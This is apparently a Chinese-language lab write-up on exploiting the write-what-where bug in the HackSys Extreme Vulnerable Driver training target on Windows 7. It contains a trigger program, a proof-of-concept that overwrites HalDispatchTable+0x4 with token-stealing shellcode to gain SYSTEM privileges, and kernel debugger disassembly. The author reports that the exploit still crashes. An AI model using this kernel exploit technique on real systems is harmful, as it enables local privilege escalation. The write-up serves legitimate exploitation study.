(所有压缩包的密码均为1)
references:
漏洞成因
由于驱动程序未检查由用户模式传过来的地址是否位于用户模式中,可能会导致任意内核地址的任意写(Write-What-Where)
#ifdef SECURE
ProbeForRead((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
*(Where) = *(What);
#else
DbgPrint("[+] Triggering Arbitrary Overwrite\n");
*(Where) = *(What);
#endif
可以看到,安全代码使用了函数ProbeForRead对用户传过来的地址进行了检查,而漏洞代码未进行任何检查,直接写入用户指定的内存地址
在IDA中可以看到触发漏洞函数的IO control code是0x22200B
查看漏洞代码:
int __stdcall TriggerArbitraryOverwrite(_WRITE_WHAT_WHERE *UserWriteWhatWhere)
{
unsigned int *What; // edi
unsigned int *Where; // ebx
ProbeForRead(UserWriteWhatWhere, 8u, 4u);
What = UserWriteWhatWhere->What;
Where = UserWriteWhatWhere->Where;
DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", 8);
DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);
DbgPrint("[+] Triggering Arbitrary Overwrite\n");
*Where = *What;
return 0;
}
很明显,传入的是一个结构体,两个字段,一个What,一个Where
typedef struct _UserWriteWhatWhere {
DWORD What;
DWORD Where;
} _WRITE_WHAT_WHERE
触发漏洞
#include <stdio.h>
#include <malloc.h>
#include <Windows.h>
#pragma pack(1)
typedef struct _UserWriteWhatWhere {
DWORD What;
DWORD Where;
} _WRITE_WHAT_WHERE;
int main() {
HANDLE driver_handle = CreateFileW(L"\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 3, 0, 3, 0x80, 0);
if(INVALID_HANDLE_VALUE==driver_handle) {
printf("can not open device, %x\n",GetLastError());
exit(-1);
}
// io control
_WRITE_WHAT_WHERE* www = (_WRITE_WHAT_WHERE*)malloc(sizeof(_WRITE_WHAT_WHERE));
if (0 == www) {
printf("I've never seen malloc falied\n"); exit(-1);
}
// 这两个地址该怎么写我还真不知道 不过可以先随便写两个地址 看看iocode好不好使
int what = 0;
int where = 1;
DWORD whataddresss = reinterpret_cast<DWORD>(&what);
DWORD whereaddresss = reinterpret_cast<DWORD>(&where);
www->What = whataddresss;
www->Where = whereaddresss;
DWORD BytesReturned = 0;
// 触发漏洞 iocontrol调用之后 where的值由1变成了0 说明调用正确
if (DeviceIoControl(driver_handle, 0x22200B, www, sizeof(www), 0, 0, &BytesReturned, 0))
return 1;
return 0;
}
现在我们已经知道怎么抵达漏洞代码了,但是并不清楚如何进行利用
要想正确的利用该漏洞还不引起BSOD,需要用到Windows的一个未公开的函数ZWQueryIntervalProfile
,该函数会调用系统调用nt!NtQueryIntervalProfile
,内核函数存在于ntoskrnl.exe中,我们需要把这个文件搞到ida里看一看
我们需要获取到内核中的一个关键的地址,然后往这个地址中写入一些东西,这个过程必须是安全的而且可靠的,以免导致机器蓝屏
有一个几乎不怎么会被用到的函数NtQueryIntervalProfile,这个函数会调用内核函数KeQueryIntervalProfile,最终调用到HalDispatchTable+0x4所在的函数
poppopret有一篇关于这项技术的文章,大致总结如下:
- 在用户模式中加载ntkrnlpa.exe从而获取到HalDispatchTable的偏移量进而计算出他在内核中的地址
- 获取我们的shellcode的地址
- 从ntdll.dll中获取系统调用NtQueryIntervalProfile函数的地址
- 将nt!HalDispatchTable+0x4覆盖为我们的shellcode函数
- 调用NtQueryIntervalProfile来启动我们的shellcode
先来逆向一下NtQueryIntervalProfile函数
我们需要覆盖的地址就是nt!HalDispatchTable+0x4
,重写了这个地址之后,只需要调用NtQueryIntervalProfile即可调用到我们的shellcode
也就是说我们需要覆盖这个地方
根据上面的分析我们编写出如下测试POC代码:
#include <stdio.h>
#include <malloc.h>
#include <Windows.h>
#pragma pack(1)
typedef struct _UserWriteWhatWhere {
DWORD What;
DWORD Where;
} _WRITE_WHAT_WHERE;
#include <Windows.h>
#include <psapi.h>
#include <iostream>
uintptr_t GetNtKernelBaseAddress() {
DWORD drivers[1024];
DWORD cbNeeded;
// Enumerate device drivers
if (EnumDeviceDrivers((LPVOID*)drivers, sizeof(drivers), &cbNeeded)) {
int driverCount = cbNeeded / sizeof(drivers[0]);
for (int i = 0; i < driverCount; i++) {
char driverName[MAX_PATH];
// Get the base name of the driver
if (GetDeviceDriverBaseNameA((LPVOID)drivers[i], driverName, sizeof(driverName) / sizeof(driverName[0]))) {
printf("%s\n",driverName);
// Check if the driver name is "ntkrnl"
if (strstr(driverName, "ntoskrnl") != nullptr) {
return (uintptr_t)drivers[i];
}
}
}
}
// Return 0 if ntkrnl is not found or if enumeration fails
return 0;
}
VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
mov eax,dword ptr fs:[00000124h]
add eax,40h
mov eax,dword ptr [eax+10h]
mov ecx,dword ptr [eax+0B8h]
_00400012:
mov ecx,dword ptr [ecx]
mov esi,ecx
sub esi,0B8h
mov esi,dword ptr [esi+0B4h]
cmp esi,4
jne _00400012
mov edi,dword ptr [ecx+40h]
_0040002a:
mov ecx,dword ptr [ecx]
mov esi,ecx
sub esi,0B8h
mov esi,dword ptr [esi+0B4h]
cmp esi,378h
jne _0040002a
lea esi,[ecx+40h]
mov dword ptr [esi],edi
_00400047:
mov ecx,dword ptr [ecx]
mov esi,ecx
sub esi,0B8h
mov esi,dword ptr [esi+0B4h]
cmp esi,17B0h ;; 这个是等待提权的cmd的PID
jne _00400047
je _00400047
}
}
void sizeer(PVOID a1) {
if (a1==NULL) return;
return;
}
typedef NTSTATUS (__stdcall *_NtQueryIntervalProfile)(DWORD ProfileSource, PULONG Interval);
int main() {
sizeer(NULL);
DWORD shellcodeaaddr= (DWORD)VirtualAlloc(0, (DWORD)sizeer-(DWORD)TokenStealingPayloadWin7,0x3000,0x40);
memset((PVOID)shellcodeaaddr,0, (DWORD)sizeer-(DWORD)TokenStealingPayloadWin7);
memcpy((PVOID)shellcodeaaddr,TokenStealingPayloadWin7, (DWORD)sizeer-(DWORD)TokenStealingPayloadWin7) ;
HMODULE oskrn=LoadLibraryA("C:\\Windows\\System32\\ntoskrnl.exe");
PVOID tableAddr=GetProcAddress(oskrn,"HalDispatchTable") ;
DWORD offset=(DWORD)tableAddr-(DWORD)oskrn;
DWORD osKrnlBaseaddr=GetNtKernelBaseAddress();
DWORD targetAddr=offset+osKrnlBaseaddr+4;
DWORD* whatPointer=(DWORD*)malloc(0x4);
*whatPointer= (DWORD) shellcodeaaddr;
HANDLE driver_handle = CreateFileW(L"\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 3, 0, 3, 0x80, 0);
if(INVALID_HANDLE_VALUE==driver_handle) {
printf("can not open device, %x\n",GetLastError());
exit(-1);
}
// io control
_WRITE_WHAT_WHERE* www = (_WRITE_WHAT_WHERE*)malloc(sizeof(_WRITE_WHAT_WHERE));
if (0 == www) {
printf("I've never seen malloc falied\n"); exit(-1);
}
printf("shellcode addrd: %p\n",TokenStealingPayloadWin7);
// 这两个地址该怎么写我还真不知道 不过可以先随便写两个地址 看看iocode好不好使
int what = 0;
int where = 1;
DWORD whataddresss = reinterpret_cast<DWORD>(&what);
DWORD whereaddresss = reinterpret_cast<DWORD>(&where);
www->What =(DWORD) whatPointer;
www->Where = targetAddr;
DWORD BytesReturned = 0;
// 触发漏洞 iocontrol调用之后 where的值由1变成了0 说明调用正确
if (!DeviceIoControl(driver_handle, 0x22200B, www, sizeof(www), 0, 0, &BytesReturned, 0))
return 1;
// 调用函数触发shellcode
_NtQueryIntervalProfile NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryIntervalProfile");
int abc=0;
printf("NtQueryIntervalProfile addr: %p\n",NtQueryIntervalProfile);
MessageBoxA(NULL,"OK","OK",MB_OK);
// a1不能为1
NtQueryIntervalProfile(1,(PULONG)&abc);
return 0;
}
我们首先在NtQueryIntervalProfile函数处下断点,看看怎么才能到达nt!HalDispatchTable+0x4
那么我们要计算出来NtQueryIntervalProfile对应的内核函数的地址,计算方式如下:
dd nt!KiServiceTable+(sysCallNumber*4) L1
NtQueryIntervalProfile的Syscall number为0xAB
这个函数一般不会被调用,我们直接在这里下断点,然后运行POC来触发
OK,现在我们已断下来了
该函数的汇编代码如下:
kd> uf nt!NtQueryIntervalProfile
nt!NtQueryIntervalProfile:
8154546c 6a0c push 0Ch
8154546e 6828a43d81 push offset nt!RtlpSparseBitmapCtxPrepareRanges+0x5da9 (813da428)
81545473 e800f1dcff call nt!_SEH_prolog4 (81314578)
81545478 64a124010000 mov eax,dword ptr fs:[00000124h]
8154547e 8a985a010000 mov bl,byte ptr [eax+15Ah]
81545484 84db test bl,bl
81545486 741b je nt!NtQueryIntervalProfile+0x37 (815454a3) Branch
nt!NtQueryIntervalProfile+0x1c:
81545488 8365fc00 and dword ptr [ebp-4],0
8154548c 8b4d0c mov ecx,dword ptr [ebp+0Ch]
8154548f a158c94281 mov eax,dword ptr [nt!MmUserProbeAddress (8142c958)]
81545494 3bc8 cmp ecx,eax
81545496 7336 jae nt!NtQueryIntervalProfile+0x62 (815454ce) Branch
nt!NtQueryIntervalProfile+0x2c:
81545498 8b01 mov eax,dword ptr [ecx]
8154549a 8901 mov dword ptr [ecx],eax
8154549c c745fcfeffffff mov dword ptr [ebp-4],0FFFFFFFEh
nt!NtQueryIntervalProfile+0x37:
815454a3 8b4d08 mov ecx,dword ptr [ebp+8]
815454a6 e833000000 call nt!KeQueryIntervalProfile (815454de)
815454ab 8bc8 mov ecx,eax
815454ad 84db test bl,bl
815454af 7421 je nt!NtQueryIntervalProfile+0x66 (815454d2) Branch
nt!NtQueryIntervalProfile+0x45:
815454b1 c745fc01000000 mov dword ptr [ebp-4],1
815454b8 8b450c mov eax,dword ptr [ebp+0Ch]
815454bb 8908 mov dword ptr [eax],ecx
815454bd c745fcfeffffff mov dword ptr [ebp-4],0FFFFFFFEh
nt!NtQueryIntervalProfile+0x58:
815454c4 33c0 xor eax,eax
815454c6 e8f2f0dcff call nt!_SEH_epilog4 (813145bd)
815454cb c20800 ret 8
nt!NtQueryIntervalProfile+0x62:
815454ce 8bc8 mov ecx,eax
815454d0 ebc6 jmp nt!NtQueryIntervalProfile+0x2c (81545498) Branch
nt!NtQueryIntervalProfile+0x66:
815454d2 8b450c mov eax,dword ptr [ebp+0Ch]
815454d5 8908 mov dword ptr [eax],ecx
815454d7 ebeb jmp nt!NtQueryIntervalProfile+0x58 (815454c4) Branch
我们需要抵达815454a6
windows x86的调用约定:
从这张图片中可以看出来所有的参数都是通过栈传递的,按照从右至左的顺序压栈
而在取值方面:
可以看到,从a1到a4依次通过ebp+0x8\0xC\0x10\0x14完成
了解了这些之后,我们再来分析nt!NtQueryIntervalProfile
的汇编代码
最终a2取值之后放到eax,a1放到ecx中,然后调用nt!KeQueryIntervalProfile
但是无论什么样的调用约定,eax都是用于存储返回值的,而在这个call指令之前有没有看到压栈操作,因此我们只能认为nt!KeQueryIntervalProfile
是一个fastcall,使用ecx和edx传递前两个参数,后面的参数使用栈传递,那么也就是说只有ecx是有效参数,即我们传递给nt!NtQueryIntervalProfile
的a1
现在我们来分析nt!KeQueryIntervalProfile
:
kd> uf nt!KeQueryIntervalProfile
nt!KeQueryIntervalProfile:
815454de 8bff mov edi,edi
815454e0 55 push ebp
815454e1 8bec mov ebp,esp
815454e3 83ec14 sub esp,14h
815454e6 83f901 cmp ecx,1
815454e9 7426 je nt!KeQueryIntervalProfile+0x33 (81545511) Branch
nt!KeQueryIntervalProfile+0xd:
815454eb 8d45fc lea eax,[ebp-4]
815454ee 894dec mov dword ptr [ebp-14h],ecx
815454f1 50 push eax
815454f2 8d45ec lea eax,[ebp-14h]
815454f5 50 push eax
815454f6 6a10 push 10h
815454f8 6a01 push 1
815454fa ff150cd03e81 call dword ptr [nt!HalDispatchTable+0x4 (813ed00c)]
81545500 85c0 test eax,eax
81545502 7814 js nt!KeQueryIntervalProfile+0x3a (81545518) Branch
nt!KeQueryIntervalProfile+0x26:
81545504 807df000 cmp byte ptr [ebp-10h],0
81545508 740e je nt!KeQueryIntervalProfile+0x3a (81545518) Branch
nt!KeQueryIntervalProfile+0x2c:
8154550a 8b45f4 mov eax,dword ptr [ebp-0Ch]
nt!KeQueryIntervalProfile+0x2f:
8154550d 8be5 mov esp,ebp
8154550f 5d pop ebp
81545510 c3 ret
nt!KeQueryIntervalProfile+0x33:
81545511 a144284081 mov eax,dword ptr [nt!KiProfileAlignmentFixupInterval (81402844)]
81545516 ebf5 jmp nt!KeQueryIntervalProfile+0x2f (8154550d) Branch
nt!KeQueryIntervalProfile+0x3a:
81545518 33c0 xor eax,eax
8154551a ebf1 jmp nt!KeQueryIntervalProfile+0x2f (8154550d) Branch
很明显我们在815454e9
是不能je
的,因此ecx不能为1,调整POC代码的NtQueryIntervalProfile(1,(PULONG)&abc);
为NtQueryIntervalProfile(0,(PULONG)&abc);
现在已经可以跳转到我们自己的代码上面了,但是跳转到一瞬间直接崩溃了
windows提示我们在不可运行的内存上面运行代码
我用!vad看了一下,我这明明是可执行的呀,不知道为啥还是会蓝屏
妈的解决不了,官方的EXP运行起来也是蓝屏